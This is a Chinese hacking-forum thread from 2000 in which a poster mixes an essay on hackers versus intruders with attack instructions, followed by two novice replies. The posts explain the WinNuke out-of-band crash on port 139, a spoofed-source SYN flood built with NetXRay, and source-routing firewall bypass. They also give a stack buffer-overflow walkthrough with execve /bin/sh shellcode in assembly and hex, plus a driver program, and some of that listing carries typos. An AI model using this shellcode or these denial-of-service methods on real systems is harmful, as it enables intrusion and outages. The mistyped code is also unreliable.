20CN网络安全小组第一代论坛
发表新主题  发表回复

个人资料 | 社区目录 用户登录 | | 论坛搜索 | 常见问题 | 论坛主页
  下一个最老的主题   下一个最新的主题
» 20CN网络安全小组第一代论坛   » 安 全 基 地   » 菜鸟乐园   » 送给那些和我一样希望成为真正黑客的朋友!(续) (ff转)

   
作者 标题: 送给那些和我一样希望成为真正黑客的朋友!(续) (ff转)
ff
未注册


图标 1  发表于         编辑/删除帖子   引用原文回复  
《我想说》
当我们谈到网络安全的时候,就经常可以跟一个词联系到一起,那就是黑客。其实,印象中的黑客是带有偏颇的感情色彩的,比较明确的说法是叫入侵者。黑客跟入侵者有什么区别呢?黑客,指对于任何计算机操作系统的奥秘都有强烈兴趣的人.”黑客”大都是程序员,他们具有操作系统和编程语言方面的高级知识,知道系统中的漏洞及其原因所在:他们不断追求更深的知识,并公开他们的发现,与其他人分享;并且没有破坏数据的企图.
入侵者,是指怀着不良企图,闯入甚至破坏远程机器系统完整性的人.”入侵者”利用获得的非法访问权,破坏重要数据,拒绝合法服务器的请求,或为了自己的目的制造麻烦.”入侵者”很容易识别,因为他们的行为是恶意的.
虽然这才是黑客和入侵者的确切含义,但是在我们的日常生活中,人们在讨论到”黑客”这个字眼的时候,还是带有强烈的贬义色彩,或者说我们大家都把黑客跟入侵者联系到了一起,其实黑客中既包括善意的真正的黑客,也包括恶意的入侵者,对于这些区别,大家只要心里有数就OK拉 
大家如果还不是太明白黑客和入侵者之间到底有什么本质性的区别,可以在黄金书屋下载一本<<黑客电脑时代的牛仔>>看看,虽然技术性不是很强,但是却大致描述了黑客产生和发展的过程,书中的一些观点和理论虽不能让人信服但是却能让人产生遐想,或许你看了之后会明白.
至于成立黑客组织,呵呵,我想如果你能大张旗鼓的明打出旗号,只要自己控制的好,国家肯定不会对你怎么样,要知道初期的黑客是推动计算机向前发展的一个动力.
在我的思想中,所有东西一出来肯定有缺陷,黑客会把这个新生的事物仔细研究,然后会通过与之接触找到它不完美的地方,黑客就像是个理想的完美主义者,他会很讨厌有缺陷的东西,并且能够凭着天性找到某些东西的不完美之处,并且把这个不完美之处填补,或许你不明白为什么那么多人相当黑客,是他们心中美好的愿望和理想驱使他们可以废寝忘食可以不知疲倦可以忘乎所以可以不顾一切的追求心中的完美境界,在本BBS的各位同仁,谁有这种想法?如果你有,那么你就要为之奋斗,要做到刚出监狱就会投身到自己喜爱的工作中去(j)!!!
至于有位同仁所言,前些天刚枪毙两个黑客,我想他大概是糊涂了并不是只要能侵入系统的人都是黑客,如果那样,黑客们早天下成群了,我希望黑客天下成群的那一天,但不希望是现在.
关于这个bbs我没有说办得不好,也不会说办得不好,我只是对大家在这里埋头苦等感到惋惜,每天等着一些所谓的黑客高手宣布他们的研究新成果(或许是刚翻译过来的文章),然后自己迫不及待的试一把,也许那些高手们已经把这个东西试验了几百遍了,你难道只能在这里学到东西吗?学校里的所有课程你都学会了吗?你在上大学时也许学过C BASIC .....但是我现在对你说,我想要一个能让系统瘫痪的小程序,而且不要超过500K的话,你能做到吗?你能熟练的做到吗?黑客其实是一种荣誉的象征,他在现实生活中也许是个弱者,甚至是个残疾,也许是个女人,小孩,但是只要他的双手接触到键盘,他坐在电脑面前,那时整个世界就属于他了,他是电脑领域的强者.向往吗?
网络上的学习固然是好,不错,我也喜欢上网,但是你要知道,你可以从网上知道的东西,究竟有多少价值,一本<<CGI编程指南>>竟然有10M,还不如花钱买一本呢,再说网络上有多少能够把你带到更深层领域的教程?有多少能够手把手把你从无知培养成出类拔萃的教程?不是说网络学习不好,只不过大家都有误区罢了,以为在网上看到一些漏洞,赶紧试验一下,成功了确实很爽,但是你能知道你为什么成功吗?你的基础是否有足够的资本看懂网络上别人贴出来贴子中提到的术语?
也许我的观点不会得到大家的认可,但是我还是想说出来,基础不是能从网上学来的是靠自己努力的来的,网上交流的是经验,不是教程,但是这个BBS确实没有太多的值得我们借鉴的经验,我的到来确实给这个清静的地方带来了波动,我想这里还算可以,贴子帖的那么多,人气也旺,很好,大家可以互相交往,不必隐姓埋名,我只是这几天过年,为了凑个热闹,想来放松一下,本来没有节假日的(谁听说过黑客有节假日?),我只是想来这里转转,看看那些贴子,找找当年的冲动和激情,一边能够更好的投入"工作",继而看到某些"不法分子"竟然利用大家心中美好愿望做一些不太好的事情,这其实是一种对......
我激动的留了几条发言,呵呵,谁知收不住手了,我应该只待一天的,没想到惹得大家这么生气,但是我一向说话算话,3天我也快熬过去了,很抱歉,我带给大家的不愉快,本想找几个高手切磋一些,或是带几个新手,呵呵,但是我发现这里还是不安全,不是一个"公共场所".劝大家学习大部分应该靠自己的努力太累了,这三天打的汉字比我半年打的都多!另外鹰鹰既然知道我是河南的,来找哦,能找到才算是好本事,信箱你一定也能看到了,找我信箱里的东西,然后会发现一些好东西的!!!

            最近比较烦,甭理我!
              2000.02.09
孤独剑客请看:
一个攻击windows的方法是用OOB方式通过TCP/IP Port 139向对端的Windows/NT传送0字节的数据包,很容易就能把windows/NT当机.如Windock程序,WinNuck程序(该程序只有9行),准确率几乎是100%
解决的方法是:
运行regedit:
find [HKEY_LOCAL_MACHINE\Systerm\CurrentControlSet\Services\VxD\MSTCP];
加上一行"BSDUrgent"="0"
WIN98也一样可以用"炸弹"攻击,Winnuke的升级版本Pnuke,就可以轻松的攻击win98,解决方法同理.
这就是孤独剑客的iphacker的攻击原理和防范方法,只是一般用户接触这些比较少罢了,其实很简单,只要你学包会!

下面是给小蓉看的一段代码:
xiaoronglook.c
----------------------------------------------------------------------
void main(){
_asm_("
    jmp  0x1f
    popl %esi
    movl %esi,0x8(%esi)
    xorl %eax,%eax
    movb $0xb,%al
    movl %esi,%ebx
    leal 0x8(%esi),%ecx
    int  $0x80
    xorl %ebx,%ebx
    movl %ebx,%eax
    inc  %eax
    int  $0x80
    call -0x24
    .string\"/bin?sh\"
    ");
    }
   
小蓉可以看看,如果看懂了,相信会让你的程序更加优秀至于这段程序是干什么用的,相信如果你能看懂,就会知道它的用处了,如果没有结论,那我就没办法,多研究一下你的程序和别人的差距吧!

至于大家都比较关心的伪装ip的方法,我到是有个方法,大家看看了IP Spoofing是一个攻击器(不要告诉我你没听说过)它是通过向主机发送IP包来攻击的,攻击过程是这样的:
(1)攻击端-->SYN(伪造的自己的地址)-->被攻击端
(2)伪造的地址<--SYN-ACK<--被攻击端
(3)被攻击端等待回答.
一个简单的SYN attack攻击方法就是利用NetXRay软件首先产生一个正常的SYN attack,再把那个SYN attack修改一下,找出关于souce IP的那个offset,修改成任意的IP,然后找出关于校验和的地址,把校验和改好,然后把包拷贝起来,用NetXRay的发送包工具,一秒钟给他送几千个SYN attack到对方,可以让对方机器瘫痪没有再接送别人连接请求的能力.我想这种方法虽然比较麻烦但是绝对比"中国男孩"攻击有效的多,如果CHINABOY的攻击成功率能达到90%以上的话,我想这种方法能达到120%(呵呵,是夸张了一点)
在一个IP包的IP选项域中,有两类的"原搜索"(source routing)功能项可以选择:
(1)LSRR (loose soutce & record routing)自由源和记录路径
(2)SSRR (strict soutce & record routing)精确源和记录路径
设计这个功能是为了方便网络故障调测的需要.当一台主机收到包含ISRR或者SSRR包后,他会把这个包中含有的目的地址读出来,并直接把这个包送往目的地址.这样就可能产生危险.
比如你用防火墙系统来保护你自己的企业内部不受干扰.正常的时候,所有的数据包的进出都在防火墙的控制之下,如
果你的防火墙要是允许调测包,那么外部网的攻击者就可以简单的发送调测包从外部网络送到内部网,从而逃避了防
火墙的监控.这里本来想介绍一下伪装自己的IP呢,但是想一想还是别懒写写东西吧
写了这么点东西,或许有些同仁看不懂,看不懂不要紧,只要抓紧时间学习基础知识,再加上自己的努力,相信你很快就会成为高手的,呵呵!!
实在懒的写了,问题不会解答!
今天是第三天了!
         MASTERLE
        2000.02.09
我在“我想对孤独剑客和小榕说.......(想伪装ip的也可以来了)”这篇帖子当中引用了一端代码,有人让我看“hhtp;//www.isbase.com/book/showQueryL.asp?libID=32”所写的东西,我实在搞不懂是我理解能力差还是他理解错了,没办法,我只好写出那段代码产生的过程!
首先介绍给大家也许都知道的攻击手段:
缓冲区溢出(buffer overflow)是一种系统攻击的手段,通过往程序的缓冲区写入超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它的命令,以达到攻击的目的。之所以缓冲区溢出可以实现的原因是系统程序没有检测用户输入的参数,也就是没有检测变量的长度是否符合要求。
eg1:
--------------------------------------------
void function(char*str){
   char buffer[16]
   strcpy(buffer,str);
  }
--------------------------------------------
上面的strcpy()将直接把str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序出错。存在像strcpy()这样的标准函数还有strcat()、sprintf()、vsprintf()、gets()、scanf(),以及在循环内的getc()、fgetc()、getchat()等。
当然,随便向缓冲区里填写东西造成它溢出一般只会出现“Segmentation fault"段错误,而不能达到攻击的目的。最常见的手段是通过某个特殊的程序的缓冲区溢出而执行一个shell,通过shell的权限可以执行高级的命令。如果这个特殊的程序属于root且具有suid权限的话,攻击成功就可能获得一个具有root权限的shell,就可以对系统为所欲为了(如果你基础不好,即使作到了这一步,你想,你会干什么?你能干什么?)。
一个程序在内存中通常分为程序段,数据段和堆栈3部分。程序段里面放着程序的机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中,它们的位置是从内存低端到内存高端分别是:
程序段、数据段、堆栈
当程序中发生函数调用时,计算机做以下操作:首先把参数压入堆栈:然后保存命令寄存器(IP)中的内容作为返回地址(RET);第三个放入堆栈的是基址寄存器(FP);然后把当前的堆栈指针(SP)拷贝到FP,作为新的基地址;最后为本地变量留出一定空间,把SP减去适当数值。
eg2:
-------------------------------------------
void function(char*str){
   char buffer[16];
   ctrcpy(buffer,str);
   }
   void main(){
   char large_string[256];
   int i;
   for(i=0;i<255;i++)
   large_string[1]=‘A‘;
   function(large_string);
   }
---------------------------------------------
当调用函数function()的时候,堆栈的情况如下所示:
内存低端 buffer sfp ret *str 内存高端
<-------[   ][  ][ ][   ]------------->
栈顶               栈底
上面的程序执行的结果是“Segmentation fault (core dumped)”或类似的出错信息。因为从buffer开始的256个字节都将被*str的内容‘A‘覆盖,包括stp、ret,甚至是*str。‘A‘的十六进制值为0x41,所以函数的返回地址变成了0x4141414141,这超出了程序的地址空间,所以出现段错误。
然而这样仍然达不到我们想要得结果,我们必须在溢出的缓冲区中写入我们想执行的代码,再覆盖返回地址(ret)的内容,使它指向缓冲区开头,就可以达到运行其他命令的目的
eg3这就是我帖在“ 我想对孤独剑客和小榕说.......(想伪装ip的也可以来了) - masterle 00-2-9 11:22:17 ”的那段代码)
----------------------------------------------------------------------
void main(){
_asm_("
    jmp  0x1f
    popl %esi
    movl %esi,0x8(%esi)
    xorl %eax,%eax
    movb $0xb,%al
    movl %esi,%ebx
    leal 0x8(%esi),%ecx
    int  $0x80
    xorl %ebx,%ebx
    movl %ebx,%eax
    inc  %eax
    int  $0x80
    call -0x24
    .string\"/bin?sh\"
    ");
    }
----------------------------------------------------------------------
将上面的程序用机器码表示即可以得到以下十六进制shell代码字符串。
如下:
----------------------------------------------------------------------
char shellcode[]=
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xdc"
"\x80\xe0\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main(){
char buffer[96];
int i;
long *long_ptr=(long *)large_string;
for(i=0;i<32;i++)
*(long_ptr+i)=(int)buffer;
for(i=0;i<strlen(shellcode):i++)
  large_string[i]=shellcode[i];
strcpy(buffer,large_string);
}
----------------------------------------------------------------------
这个程序所做的是,在large_string中填入buffer的地址,并把shell代码放到large_string的前面部分,然后将large_string拷贝到buffer中,造成它溢出,使返回地址变为buffer,而buffer的内容是shell代码,这样当程序试从strcpy()中返回的时候,就会转而执行shell。
其实最头疼的是如何知道缓冲区的地址,并在那里放shell代码到large_string的前面部分呢?由于每个程序的堆栈启始地址是固定的,所以自然可以利用反复重试缓冲区相对于堆栈起始位置的距离来得到。但是这样的盲目猜测可能要进行上千次,实际上是不现实的。(手疼!!!!)解决的办法是利用空指令NOP。在shell代码前防一长串的NOP,返回地址可以指向这一串NOP中任一位置,执行完NOP后程序将激活shell进程,这样就大大的增加了猜中的可能性。(还得猜)
之所以选择这段代码给小容看,是因为这种缓冲区溢出的技术是很奏效的,也是很多黑客和入侵者采用的惯用手段,因为它不是正常登陆的超级用户权限,所以几乎没有任何记录。
目前对上述攻击手段的防范方法来看,很多webmaster都说没有根本解决的好办法,最好的办法就是完善程序,使函数无懈可击(可能吗,别忘了我们是干什么的)。另外要注意打各种path,从根本上杜绝函数的漏洞,作为应急的办法,可以把有危险的程序的Suid位去掉,需要时再加上,只是比较麻烦而已。
不知上述,大眼圈同学看懂了没有,和你说的那篇觉得有什么共同之处吗?

            masterle敬上
            
IP: 已记录
苍之龙
未注册


图标 1  发表于         编辑/删除帖子   引用原文回复  
你好。我是个文盲。需要指点。可以吗?我对网络不懂。你可以帮助我吗?(可以说是个网络大白痴)可以交交入门吗?谢谢你。我的QQ7940329

------------------
想去就去。想留就留。人身难得几回醉!

-----【爱就久爱】-------

IP: 已记录
wake
未注册


图标 1  发表于         编辑/删除帖子   引用原文回复  
我希望你能解我心理的疑问
我们通常所说的黑客攻击程序他们跟目标操作系统是
怎样的关系呢有和联系呢?
黑客程序的攻击原理能不能利用TCP/IP协议解释给我
这个菜鸟听?
IP: 已记录

 
发表新主题  发表回复 关闭主题 突出主题 移动主题 删除主题 下一个最老的主题   下一个最新的主题
 - 适于打印的主题视图
转到:
联系我们 | 20CN网络安全小组

Powered by Infopop Corporation
UBB.classic™ 6.5.0
NetDemon修改版 1.5.0, 20CN网络安全小组 版权所有。